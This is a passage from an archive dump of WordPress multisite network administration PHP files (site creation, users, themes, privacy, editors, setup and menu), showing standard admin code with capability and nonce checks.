		 * @param int $user_id ID of the newly created user.
		 */
		do_action( 'network_site_new_created_user', $user_id );
	}

	$wpdb->hide_errors();
	$id = wpmu_create_blog( $newdomain, $path, $title, $user_id, $meta, get_current_network_id() );
	$wpdb->show_errors();

	if ( ! is_wp_error( $id ) ) {
		if ( ! is_super_admin( $user_id ) && ! get_user_option( 'primary_blog', $user_id ) ) {
			update_user_option( $user_id, 'primary_blog', $id, true );
		}

		wpmu_new_site_admin_notification( $id, $user_id );
		wpmu_welcome_notification( $id, $user_id, $password, $title, array( 'public' => 1 ) );
		wp_redirect(
			add_query_arg(
				array(
					'update' => 'added',
					'id'     => $id,
				),
				'site-new.php'
			)
		);
		exit;
	} else {
		wp_die( $id->get_error_message() );
	}
}

if ( isset( $_GET['update'] ) ) {
	$messages = array();
	if ( 'added' === $_GET['update'] ) {
		$messages[] = sprintf(
			/* translators: 1: Dashboard URL, 2: Network admin edit URL. */
			__( 'Site added. <a href="%1$s">Visit Dashboard</a> or <a href="%2$s">Edit Site</a>' ),
			esc_url( get_admin_url( absint( $_GET['id'] ) ) ),
			network_admin_url( 'site-info.php?id=' . absint( $_GET['id'] ) )
		);
	}
}

// Used in the HTML title tag.
$title       = __( 'Add Site' );
$parent_file = 'sites.php';

wp_enqueue_script( 'user-suggest' );

require_once ABSPATH . 'wp-admin/admin-header.php';

?>

<div class="wrap">
<h1 id="add-new-site"><?php _e( 'Add Site' ); ?></h1>
<?php
if ( ! empty( $messages ) ) {
	$notice_args = array(
		'type'        => 'success',
		'dismissible' => true,
		'id'          => 'message',
	);

	foreach ( $messages as $msg ) {
		wp_admin_notice( $msg, $notice_args );
	}
}
?>
<p><?php echo wp_required_field_message(); ?></p>
<form method="post" action="<?php echo esc_url( network_admin_url( 'site-new.php?action=add-site' ) ); ?>" novalidate="novalidate">
<?php wp_nonce_field( 'add-blog', '_wpnonce_add-blog' ); ?>
	<table class="form-table" role="presentation">
		<tr class="form-field form-required">
			<th scope="row">
				<label for="site-address">
					<?php
					_e( 'Site Address (URL)' );
					echo ' ' . wp_required_field_indicator();
					?>
				</label>
			</th>
			<td>
			<?php if ( is_subdomain_install() ) { ?>
				<input name="blog[domain]" type="text" class="regular-text ltr" id="site-address" aria-describedby="site-address-desc" autocapitalize="none" autocorrect="off" required /><span class="no-break">.<?php echo preg_replace( '|^www\.|', '', get_network()->domain ); ?></span>
				<?php
			} else {
				echo get_network()->domain . get_network()->path
				?>
				<input name="blog[domain]" type="text" class="regular-text ltr" id="site-address" aria-describedby="site-address-desc" autocapitalize="none" autocorrect="off" required />
				<?php
			}
			echo '<p class="description" id="site-address-desc">' . __( 'Only lowercase letters (a-z), numbers, and hyphens are allowed.' ) . '</p>';
			?>
			</td>
		</tr>
		<tr class="form-field form-required">
			<th scope="row">
				<label for="site-title">
					<?php
					_e( 'Site Title' );
					echo ' ' . wp_required_field_indicator();
					?>
				</label>
			</th>
			<td><input name="blog[title]" type="text" class="regular-text" id="site-title" required /></td>
		</tr>
		<?php
		$languages    = get_available_languages();
		$translations = wp_get_available_translations();
		if ( ! empty( $languages ) || ! empty( $translations ) ) :
			?>
			<tr class="form-field form-required">
				<th scope="row"><label for="site-language"><?php _e( 'Site Language' ); ?></label></th>
				<td>
					<?php
					// Network default.
					$lang = get_site_option( 'WPLANG' );

					// Use English if the default isn't available.
					if ( ! in_array( $lang, $languages, true ) ) {
						$lang = '';
					}

					wp_dropdown_languages(
						array(
							'name'                        => 'WPLANG',
							'id'                          => 'site-language',
							'selected'                    => $lang,
							'languages'                   => $languages,
							'translations'                => $translations,
							'show_available_translations' => current_user_can( 'install_languages' ) && wp_can_install_language_pack(),
						)
					);
					?>
				</td>
			</tr>
		<?php endif; // Languages. ?>
		<tr class="form-field form-required">
			<th scope="row">
				<label for="admin-email">
					<?php
					_e( 'Admin Email' );
					echo ' ' . wp_required_field_indicator();
					?>
				</label>
			</th>
			<td><input name="blog[email]" type="email" class="regular-text wp-suggest-user" id="admin-email" data-autocomplete-type="search" data-autocomplete-field="user_email" aria-describedby="site-admin-email" required /></td>
		</tr>
		<tr class="form-field">
			<td colspan="2" class="td-full"><p id="site-admin-email"><?php _e( 'A new user will be created if the above email address is not in the database.' ); ?><br /><?php _e( 'The username and a link to set the password will be mailed to this email address.' ); ?></p></td>
		</tr>
	</table>

	<?php
	/**
	 * Fires at the end of the new site form in network admin.
	 *
	 * @since 4.5.0
	 */
	do_action( 'network_site_new_form' );

	submit_button( __( 'Add Site' ), 'primary', 'add-site' );
	?>
	</form>
</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
users.php000064400000022426151724022660006431 0ustar00<?php
/**
 * Multisite users administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_network_users' ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

if ( isset( $_GET['action'] ) ) {
	/** This action is documented in wp-admin/network/edit.php */
	do_action( 'wpmuadminedit' );

	switch ( $_GET['action'] ) {
		case 'deleteuser':
			if ( ! current_user_can( 'manage_network_users' ) ) {
				wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
			}

			check_admin_referer( 'deleteuser' );

			$id = (int) $_GET['id'];
			if ( $id > 1 ) {
				$_POST['allusers'] = array( $id ); // confirm_delete_users() can only handle arrays.

				// Used in the HTML title tag.
				$title       = __( 'Users' );
				$parent_file = 'users.php';

				require_once ABSPATH . 'wp-admin/admin-header.php';

				echo '<div class="wrap">';
				confirm_delete_users( $_POST['allusers'] );
				echo '</div>';

				require_once ABSPATH . 'wp-admin/admin-footer.php';
			} else {
				wp_redirect( network_admin_url( 'users.php' ) );
			}
			exit;

		case 'allusers':
			if ( ! current_user_can( 'manage_network_users' ) ) {
				wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
			}

			if ( isset( $_POST['action'] ) && isset( $_POST['allusers'] ) ) {
				check_admin_referer( 'bulk-users-network' );

				$doaction     = $_POST['action'];
				$userfunction = '';

				foreach ( (array) $_POST['allusers'] as $user_id ) {
					if ( ! empty( $user_id ) ) {
						switch ( $doaction ) {
							case 'delete':
								if ( ! current_user_can( 'delete_users' ) ) {
									wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
								}

								// Used in the HTML title tag.
								$title       = __( 'Users' );
								$parent_file = 'users.php';

								require_once ABSPATH . 'wp-admin/admin-header.php';

								echo '<div class="wrap">';
								confirm_delete_users( $_POST['allusers'] );
								echo '</div>';

								require_once ABSPATH . 'wp-admin/admin-footer.php';
								exit;

							case 'spam':
								$user = get_userdata( $user_id );
								if ( is_super_admin( $user->ID ) ) {
									wp_die(
										sprintf(
											/* translators: %s: User login. */
											__( 'Warning! User cannot be modified. The user %s is a network administrator.' ),
											esc_html( $user->user_login )
										)
									);
								}

								$userfunction = 'all_spam';
								$blogs        = get_blogs_of_user( $user_id, true );

								foreach ( (array) $blogs as $details ) {
									if ( ! is_main_site( $details->userblog_id ) ) { // Main site is not a spam!
										update_blog_status( $details->userblog_id, 'spam', '1' );
									}
								}

								$user_data         = $user->to_array();
								$user_data['spam'] = '1';

								wp_update_user( $user_data );
								break;

							case 'notspam':
								$user = get_userdata( $user_id );

								$userfunction = 'all_notspam';
								$blogs        = get_blogs_of_user( $user_id, true );

								foreach ( (array) $blogs as $details ) {
									update_blog_status( $details->userblog_id, 'spam', '0' );
								}

								$user_data         = $user->to_array();
								$user_data['spam'] = '0';

								wp_update_user( $user_data );
								break;
						}
					}
				}

				if ( ! in_array( $doaction, array( 'delete', 'spam', 'notspam' ), true ) ) {
					$sendback = wp_get_referer();
					$user_ids = (array) $_POST['allusers'];

					/** This action is documented in wp-admin/network/site-themes.php */
					$sendback = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $sendback, $doaction, $user_ids ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

					wp_safe_redirect( $sendback );
					exit;
				}

				wp_safe_redirect(
					add_query_arg(
						array(
							'updated' => 'true',
							'action'  => $userfunction,
						),
						wp_get_referer()
					)
				);
			} else {
				$location = network_admin_url( 'users.php' );

				if ( ! empty( $_REQUEST['paged'] ) ) {
					$location = add_query_arg( 'paged', (int) $_REQUEST['paged'], $location );
				}
				wp_redirect( $location );
			}
			exit;

		case 'dodelete':
			check_admin_referer( 'ms-users-delete' );
			if ( ! ( current_user_can( 'manage_network_users' ) && current_user_can( 'delete_users' ) ) ) {
				wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
			}

			if ( ! empty( $_POST['blog'] ) && is_array( $_POST['blog'] ) ) {
				foreach ( $_POST['blog'] as $id => $users ) {
					foreach ( $users as $blogid => $user_id ) {
						if ( ! current_user_can( 'delete_user', $id ) ) {
							continue;
						}

						if ( ! empty( $_POST['delete'] ) && 'reassign' === $_POST['delete'][ $blogid ][ $id ] ) {
							remove_user_from_blog( $id, $blogid, (int) $user_id );
						} else {
							remove_user_from_blog( $id, $blogid );
						}
					}
				}
			}

			$i = 0;

			if ( is_array( $_POST['user'] ) && ! empty( $_POST['user'] ) ) {
				foreach ( $_POST['user'] as $id ) {
					if ( ! current_user_can( 'delete_user', $id ) ) {
						continue;
					}
					wpmu_delete_user( $id );
					++$i;
				}
			}

			if ( 1 === $i ) {
				$deletefunction = 'delete';
			} else {
				$deletefunction = 'all_delete';
			}

			wp_redirect(
				add_query_arg(
					array(
						'updated' => 'true',
						'action'  => $deletefunction,
					),
					network_admin_url( 'users.php' )
				)
			);
			exit;
	}
}

$wp_list_table = _get_list_table( 'WP_MS_Users_List_Table' );
$pagenum       = $wp_list_table->get_pagenum();
$wp_list_table->prepare_items();
$total_pages = $wp_list_table->get_pagination_arg( 'total_pages' );

if ( $pagenum > $total_pages && $total_pages > 0 ) {
	wp_redirect( add_query_arg( 'paged', $total_pages ) );
	exit;
}

// Used in the HTML title tag.
$title       = __( 'Users' );
$parent_file = 'users.php';

add_screen_option( 'per_page' );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'This table shows all users across the network and the sites to which they are assigned.' ) . '</p>' .
			'<p>' . __( 'Hover over any user on the list to make the edit links appear. The Edit link on the left will take you to their Edit User profile page; the Edit link on the right by any site name goes to an Edit Site screen for that site.' ) . '</p>' .
			'<p>' . __( 'You can also go to the user&#8217;s profile page by clicking on the individual username.' ) . '</p>' .
			'<p>' . __( 'You can sort the table by clicking on any of the table headings and switch between list and excerpt views by using the icons above the users list.' ) . '</p>' .
			'<p>' . __( 'The bulk action will permanently delete selected users, or mark/unmark those selected as spam. Spam users will have posts removed and will be unable to sign up again with the same email addresses.' ) . '</p>' .
			'<p>' . __( 'You can make an existing user an additional super admin by going to the Edit User profile page and checking the box to grant that privilege.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://codex.wordpress.org/Network_Admin_Users_Screen">Documentation on Network Users</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>'
);

get_current_screen()->set_screen_reader_content(
	array(
		'heading_views'      => __( 'Filter users list' ),
		'heading_pagination' => __( 'Users list navigation' ),
		'heading_list'       => __( 'Users list' ),
	)
);

require_once ABSPATH . 'wp-admin/admin-header.php';

if ( isset( $_REQUEST['updated'] ) && 'true' === $_REQUEST['updated'] && ! empty( $_REQUEST['action'] ) ) {
	$message = '';
	switch ( $_REQUEST['action'] ) {
		case 'delete':
			$message = __( 'User deleted.' );
			break;
		case 'all_spam':
			$message = __( 'Users marked as spam.' );
			break;
		case 'all_notspam':
			$message = __( 'Users removed from spam.' );
			break;
		case 'all_delete':
			$message = __( 'Users deleted.' );
			break;
		case 'add':
			$message = __( 'User added.' );
			break;
	}

	wp_admin_notice(
		$message,
		array(
			'type'        => 'success',
			'dismissible' => true,
			'id'          => 'message',
		)
	);
}
?>
<div class="wrap">
	<h1 class="wp-heading-inline"><?php esc_html_e( 'Users' ); ?></h1>

	<?php
	if ( current_user_can( 'create_users' ) ) :
		?>
		<a href="<?php echo esc_url( network_admin_url( 'user-new.php' ) ); ?>" class="page-title-action"><?php echo esc_html__( 'Add User' ); ?></a>
		<?php
	endif;

	if ( strlen( $usersearch ) ) {
		echo '<span class="subtitle">';
		printf(
			/* translators: %s: Search query. */
			__( 'Search results for: %s' ),
			'<strong>' . esc_html( $usersearch ) . '</strong>'
		);
		echo '</span>';
	}
	?>

	<hr class="wp-header-end">

	<?php $wp_list_table->views(); ?>

	<form method="get" class="search-form">
		<?php $wp_list_table->search_box( __( 'Search Users' ), 'all-user' ); ?>
	</form>

	<form id="form-user-list" action="users.php?action=allusers" method="post">
		<?php $wp_list_table->display(); ?>
	</form>
</div>

<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
privacy.php000060400000000371151724022660006734 0ustar00<?php
/**
 * Network Privacy administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 4.9.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/privacy.php';
plugin-editor.php000060400000000412151724022660010035 0ustar00<?php
/**
 * Plugin file editor network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/plugin-editor.php';
themes.php000064400000037165151724022660006563 0ustar00<?php
/**
 * Multisite themes administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_network_themes' ) ) {
	wp_die( __( 'Sorry, you are not allowed to manage network themes.' ) );
}

$wp_list_table = _get_list_table( 'WP_MS_Themes_List_Table' );
$pagenum       = $wp_list_table->get_pagenum();

$action = $wp_list_table->current_action();

$s = isset( $_REQUEST['s'] ) ? $_REQUEST['s'] : '';

// Clean up request URI from temporary args for screen options/paging uri's to work as expected.
$temp_args = array(
	'enabled',
	'disabled',
	'deleted',
	'error',
	'enabled-auto-update',
	'disabled-auto-update',
);

$_SERVER['REQUEST_URI'] = remove_query_arg( $temp_args, $_SERVER['REQUEST_URI'] );
$referer                = remove_query_arg( $temp_args, wp_get_referer() );

if ( $action ) {
	switch ( $action ) {
		case 'enable':
			check_admin_referer( 'enable-theme_' . $_GET['theme'] );
			WP_Theme::network_enable_theme( $_GET['theme'] );
			if ( ! str_contains( $referer, '/network/themes.php' ) ) {
				wp_redirect( network_admin_url( 'themes.php?enabled=1' ) );
			} else {
				wp_safe_redirect( add_query_arg( 'enabled', 1, $referer ) );
			}
			exit;
		case 'disable':
			check_admin_referer( 'disable-theme_' . $_GET['theme'] );
			WP_Theme::network_disable_theme( $_GET['theme'] );
			wp_safe_redirect( add_query_arg( 'disabled', '1', $referer ) );
			exit;
		case 'enable-selected':
			check_admin_referer( 'bulk-themes' );
			$themes = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array();
			if ( empty( $themes ) ) {
				wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
				exit;
			}
			WP_Theme::network_enable_theme( (array) $themes );
			wp_safe_redirect( add_query_arg( 'enabled', count( $themes ), $referer ) );
			exit;
		case 'disable-selected':
			check_admin_referer( 'bulk-themes' );
			$themes = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array();
			if ( empty( $themes ) ) {
				wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
				exit;
			}
			WP_Theme::network_disable_theme( (array) $themes );
			wp_safe_redirect( add_query_arg( 'disabled', count( $themes ), $referer ) );
			exit;
		case 'update-selected':
			check_admin_referer( 'bulk-themes' );

			if ( isset( $_GET['themes'] ) ) {
				$themes = explode( ',', $_GET['themes'] );
			} elseif ( isset( $_POST['checked'] ) ) {
				$themes = (array) $_POST['checked'];
			} else {
				$themes = array();
			}

			// Used in the HTML title tag.
			$title       = __( 'Update Themes' );
			$parent_file = 'themes.php';

			require_once ABSPATH . 'wp-admin/admin-header.php';

			echo '<div class="wrap">';
			echo '<h1>' . esc_html( $title ) . '</h1>';

			$url = self_admin_url( 'update.php?action=update-selected-themes&amp;themes=' . urlencode( implode( ',', $themes ) ) );
			$url = wp_nonce_url( $url, 'bulk-update-themes' );

			echo "<iframe src='$url' style='width: 100%; height:100%; min-height:850px;'></iframe>";
			echo '</div>';
			require_once ABSPATH . 'wp-admin/admin-footer.php';
			exit;
		case 'delete-selected':
			if ( ! current_user_can( 'delete_themes' ) ) {
				wp_die( __( 'Sorry, you are not allowed to delete themes for this site.' ) );
			}

			check_admin_referer( 'bulk-themes' );

			$themes = isset( $_REQUEST['checked'] ) ? (array) $_REQUEST['checked'] : array();

			if ( empty( $themes ) ) {
				wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
				exit;
			}

			$themes = array_diff( $themes, array( get_option( 'stylesheet' ), get_option( 'template' ) ) );

			if ( empty( $themes ) ) {
				wp_safe_redirect( add_query_arg( 'error', 'main', $referer ) );
				exit;
			}

			$theme_info = array();
			foreach ( $themes as $key => $theme ) {
				$theme_info[ $theme ] = wp_get_theme( $theme );
			}

			require ABSPATH . 'wp-admin/update.php';

			$parent_file = 'themes.php';

			if ( ! isset( $_REQUEST['verify-delete'] ) ) {
				wp_enqueue_script( 'jquery' );
				require_once ABSPATH . 'wp-admin/admin-header.php';
				$themes_to_delete = count( $themes );
				?>
				<div class="wrap">
				<?php if ( 1 === $themes_to_delete ) : ?>
					<h1><?php _e( 'Delete Theme' ); ?></h1>
					<?php
					wp_admin_notice(
						'<strong>' . __( 'Caution:' ) . '</strong> ' . __( 'This theme may be active on other sites in the network.' ),
						array(
							'additional_classes' => array( 'error' ),
						)
					);
					?>
					<p><?php _e( 'You are about to remove the following theme:' ); ?></p>
				<?php else : ?>
					<h1><?php _e( 'Delete Themes' ); ?></h1>
					<?php
					wp_admin_notice(
						'<strong>' . __( 'Caution:' ) . '</strong> ' . __( 'These themes may be active on other sites in the network.' ),
						array(
							'additional_classes' => array( 'error' ),
						)
					);
					?>
					<p><?php _e( 'You are about to remove the following themes:' ); ?></p>
				<?php endif; ?>
					<ul class="ul-disc">
					<?php
					foreach ( $theme_info as $theme ) {
						echo '<li>' . sprintf(
							/* translators: 1: Theme name, 2: Theme author. */
							_x( '%1$s by %2$s', 'theme' ),
							'<strong>' . $theme->display( 'Name' ) . '</strong>',
							'<em>' . $theme->display( 'Author' ) . '</em>'
						) . '</li>';
					}
					?>
					</ul>
				<?php if ( 1 === $themes_to_delete ) : ?>
					<p><?php _e( 'Are you sure you want to delete this theme?' ); ?></p>
				<?php else : ?>
					<p><?php _e( 'Are you sure you want to delete these themes?' ); ?></p>
				<?php endif; ?>
				<form method="post" action="<?php echo esc_url( $_SERVER['REQUEST_URI'] ); ?>" style="display:inline;">
					<input type="hidden" name="verify-delete" value="1" />
					<input type="hidden" name="action" value="delete-selected" />
					<?php

					foreach ( (array) $themes as $theme ) {
						echo '<input type="hidden" name="checked[]" value="' . esc_attr( $theme ) . '" />';
					}

					wp_nonce_field( 'bulk-themes' );

					if ( 1 === $themes_to_delete ) {
						submit_button( __( 'Yes, delete this theme' ), '', 'submit', false );
					} else {
						submit_button( __( 'Yes, delete these themes' ), '', 'submit', false );
					}

					?>
				</form>
				<?php $referer = wp_get_referer(); ?>
				<form method="post" action="<?php echo $referer ? esc_url( $referer ) : ''; ?>" style="display:inline;">
					<?php submit_button( __( 'No, return me to the theme list' ), '', 'submit', false ); ?>
				</form>
				</div>
				<?php

				require_once ABSPATH . 'wp-admin/admin-footer.php';
				exit;
			} // End if verify-delete.

			foreach ( $themes as $theme ) {
				$delete_result = delete_theme(
					$theme,
					esc_url(
						add_query_arg(
							array(
								'verify-delete' => 1,
								'action'        => 'delete-selected',
								'checked'       => $_REQUEST['checked'],
								'_wpnonce'      => $_REQUEST['_wpnonce'],
							),
							network_admin_url( 'themes.php' )
						)
					)
				);
			}

			$paged = ( $_REQUEST['paged'] ) ? $_REQUEST['paged'] : 1;
			wp_redirect(
				add_query_arg(
					array(
						'deleted' => count( $themes ),
						'paged'   => $paged,
						's'       => $s,
					),
					network_admin_url( 'themes.php' )
				)
			);
			exit;
		case 'enable-auto-update':
		case 'disable-auto-update':
		case 'enable-auto-update-selected':
		case 'disable-auto-update-selected':
			if ( ! ( current_user_can( 'update_themes' ) && wp_is_auto_update_enabled_for_type( 'theme' ) ) ) {
				wp_die( __( 'Sorry, you are not allowed to change themes automatic update settings.' ) );
			}

			if ( 'enable-auto-update' === $action || 'disable-auto-update' === $action ) {
				check_admin_referer( 'updates' );
			} else {
				if ( empty( $_POST['checked'] ) ) {
					// Nothing to do.
					wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
					exit;
				}

				check_admin_referer( 'bulk-themes' );
			}

			$auto_updates = (array) get_site_option( 'auto_update_themes', array() );

			if ( 'enable-auto-update' === $action ) {
				$auto_updates[] = $_GET['theme'];
				$auto_updates   = array_unique( $auto_updates );
				$referer        = add_query_arg( 'enabled-auto-update', 1, $referer );
			} elseif ( 'disable-auto-update' === $action ) {
				$auto_updates = array_diff( $auto_updates, array( $_GET['theme'] ) );
				$referer      = add_query_arg( 'disabled-auto-update', 1, $referer );
			} else {
				// Bulk enable/disable.
				$themes = (array) wp_unslash( $_POST['checked'] );

				if ( 'enable-auto-update-selected' === $action ) {
					$auto_updates = array_merge( $auto_updates, $themes );
					$auto_updates = array_unique( $auto_updates );
					$referer      = add_query_arg( 'enabled-auto-update', count( $themes ), $referer );
				} else {
					$auto_updates = array_diff( $auto_updates, $themes );
					$referer      = add_query_arg( 'disabled-auto-update', count( $themes ), $referer );
				}
			}

			$all_items = wp_get_themes();

			// Remove themes that don't exist or have been deleted since the option was last updated.
			$auto_updates = array_intersect( $auto_updates, array_keys( $all_items ) );

			update_site_option( 'auto_update_themes', $auto_updates );

			wp_safe_redirect( $referer );
			exit;
		default:
			$themes = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array();
			if ( empty( $themes ) ) {
				wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
				exit;
			}
			check_admin_referer( 'bulk-themes' );

			/** This action is documented in wp-admin/network/site-themes.php */
			$referer = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $referer, $action, $themes ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

			wp_safe_redirect( $referer );
			exit;
	}
}

$wp_list_table->prepare_items();

add_thickbox();

add_screen_option( 'per_page' );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'This screen enables and disables the inclusion of themes available to choose in the Appearance menu for each site. It does not activate or deactivate which theme a site is currently using.' ) . '</p>' .
			'<p>' . __( 'If the network admin disables a theme that is in use, it can still remain selected on that site. If another theme is chosen, the disabled theme will not appear in the site&#8217;s Appearance > Themes screen.' ) . '</p>' .
			'<p>' . __( 'Themes can be enabled on a site by site basis by the network admin on the Edit Site screen (which has a Themes tab); get there via the Edit action link on the All Sites screen. Only network admins are able to install or edit themes.' ) . '</p>',
	)
);

$help_sidebar_autoupdates = '';

if ( current_user_can( 'update_themes' ) && wp_is_auto_update_enabled_for_type( 'theme' ) ) {
	get_current_screen()->add_help_tab(
		array(
			'id'      => 'plugins-themes-auto-updates',
			'title'   => __( 'Auto-updates' ),
			'content' =>
				'<p>' . __( 'Auto-updates can be enabled or disabled for each individual theme. Themes with auto-updates enabled will display the estimated date of the next auto-update. Auto-updates depends on the WP-Cron task scheduling system.' ) . '</p>' .
				'<p>' . __( 'Please note: Third-party themes and plugins, or custom code, may override WordPress scheduling.' ) . '</p>',
		)
	);

	$help_sidebar_autoupdates = '<p>' . __( '<a href="https://wordpress.org/documentation/article/plugins-themes-auto-updates/">Documentation on Auto-updates</a>' ) . '</p>';
}

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://codex.wordpress.org/Network_Admin_Themes_Screen">Documentation on Network Themes</a>' ) . '</p>' .
	$help_sidebar_autoupdates .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

get_current_screen()->set_screen_reader_content(
	array(
		'heading_views'      => __( 'Filter themes list' ),
		'heading_pagination' => __( 'Themes list navigation' ),
		'heading_list'       => __( 'Themes list' ),
	)
);

// Used in the HTML title tag.
$title       = __( 'Themes' );
$parent_file = 'themes.php';

wp_enqueue_script( 'updates' );
wp_enqueue_script( 'theme-preview' );

require_once ABSPATH . 'wp-admin/admin-header.php';

?>

<div class="wrap">
<h1 class="wp-heading-inline"><?php echo esc_html( $title ); ?></h1>

<?php if ( current_user_can( 'install_themes' ) ) : ?>
	<a href="theme-install.php" class="page-title-action"><?php echo esc_html__( 'Add Theme' ); ?></a>
<?php endif; ?>

<?php
if ( isset( $_REQUEST['s'] ) && strlen( $_REQUEST['s'] ) ) {
	echo '<span class="subtitle">';
	printf(
		/* translators: %s: Search query. */
		__( 'Search results for: %s' ),
		'<strong>' . esc_html( $s ) . '</strong>'
	);
	echo '</span>';
}
?>

<hr class="wp-header-end">

<?php
$message = '';
$type    = 'success';

if ( isset( $_GET['enabled'] ) ) {
	$enabled = absint( $_GET['enabled'] );
	if ( 1 === $enabled ) {
		$message = __( 'Theme enabled.' );
	} else {
		$message = sprintf(
			/* translators: %s: Number of themes. */
			_n( '%s theme enabled.', '%s themes enabled.', $enabled ),
			number_format_i18n( $enabled )
		);
	}
} elseif ( isset( $_GET['disabled'] ) ) {
	$disabled = absint( $_GET['disabled'] );
	if ( 1 === $disabled ) {
		$message = __( 'Theme disabled.' );
	} else {
		$message = sprintf(
			/* translators: %s: Number of themes. */
			_n( '%s theme disabled.', '%s themes disabled.', $disabled ),
			number_format_i18n( $disabled )
		);
	}
} elseif ( isset( $_GET['deleted'] ) ) {
	$deleted = absint( $_GET['deleted'] );
	if ( 1 === $deleted ) {
		$message = __( 'Theme deleted.' );
	} else {
		$message = sprintf(
			/* translators: %s: Number of themes. */
			_n( '%s theme deleted.', '%s themes deleted.', $deleted ),
			number_format_i18n( $deleted )
		);
	}
} elseif ( isset( $_GET['enabled-auto-update'] ) ) {
	$enabled = absint( $_GET['enabled-auto-update'] );
	if ( 1 === $enabled ) {
		$message = __( 'Theme will be auto-updated.' );
	} else {
		$message = sprintf(
			/* translators: %s: Number of themes. */
			_n( '%s theme will be auto-updated.', '%s themes will be auto-updated.', $enabled ),
			number_format_i18n( $enabled )
		);
	}
} elseif ( isset( $_GET['disabled-auto-update'] ) ) {
	$disabled = absint( $_GET['disabled-auto-update'] );
	if ( 1 === $disabled ) {
		$message = __( 'Theme will no longer be auto-updated.' );
	} else {
		$message = sprintf(
			/* translators: %s: Number of themes. */
			_n( '%s theme will no longer be auto-updated.', '%s themes will no longer be auto-updated.', $disabled ),
			number_format_i18n( $disabled )
		);
	}
} elseif ( isset( $_GET['error'] ) && 'none' === $_GET['error'] ) {
	$message = __( 'No theme selected.' );
	$type    = 'error';
} elseif ( isset( $_GET['error'] ) && 'main' === $_GET['error'] ) {
	$message = __( 'You cannot delete a theme while it is active on the main site.' );
	$type    = 'error';
}

if ( '' !== $message ) {
	wp_admin_notice(
		$message,
		array(
			'type'        => $type,
			'dismissible' => true,
			'id'          => 'message',
		)
	);
}
?>

<form method="get">
<?php $wp_list_table->search_box( __( 'Search installed themes' ), 'theme' ); ?>
</form>

<?php
$wp_list_table->views();

if ( 'broken' === $status ) {
	echo '<p class="clear">' . __( 'The following themes are installed but incomplete.' ) . '</p>';
}
?>

<form id="bulk-action-form" method="post">
<input type="hidden" name="theme_status" value="<?php echo esc_attr( $status ); ?>" />
<input type="hidden" name="paged" value="<?php echo esc_attr( $page ); ?>" />

<?php $wp_list_table->display(); ?>
</form>

</div>

<?php
wp_print_request_filesystem_credentials_modal();
wp_print_admin_notice_templates();
wp_print_update_row_templates();

require_once ABSPATH . 'wp-admin/admin-footer.php';
theme-editor.php000060400000000410151724022660007637 0ustar00<?php
/**
 * Theme file editor network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/theme-editor.php';
setup.php000060400000000367151724022660006424 0ustar00<?php
/**
 * Network Setup administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/network.php';
menu.php000064400000011276151724022660006235 0ustar00<?php
/**
 * Build Network Administration Menu.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

/* translators: Network menu item. */
$menu[2] = array( __( 'Dashboard' ), 'manage_network', 'index.php', '', 'menu-top menu-top-first menu-icon-dashboard', 'menu-dashboard', 'dashicons-dashboard' );

$submenu['index.php'][0] = array( __( 'Home' ), 'read', 'index.php' );

if ( current_user_can( 'update_core' ) ) {
	$cap = 'update_core';
} elseif ( current_user_can( 'update_plugins' ) ) {
	$cap = 'update_plugins';
} elseif ( current_user_can( 'update_themes' ) ) {
	$cap = 'update_themes';
} else {
	$cap = 'update_languages';
}

$update_data = wp_get_update_data();
if ( $update_data['counts']['total'] ) {
	$submenu['index.php'][10] = array(
		sprintf(
			/* translators: %s: Number of available updates. */
			__( 'Updates %s' ),
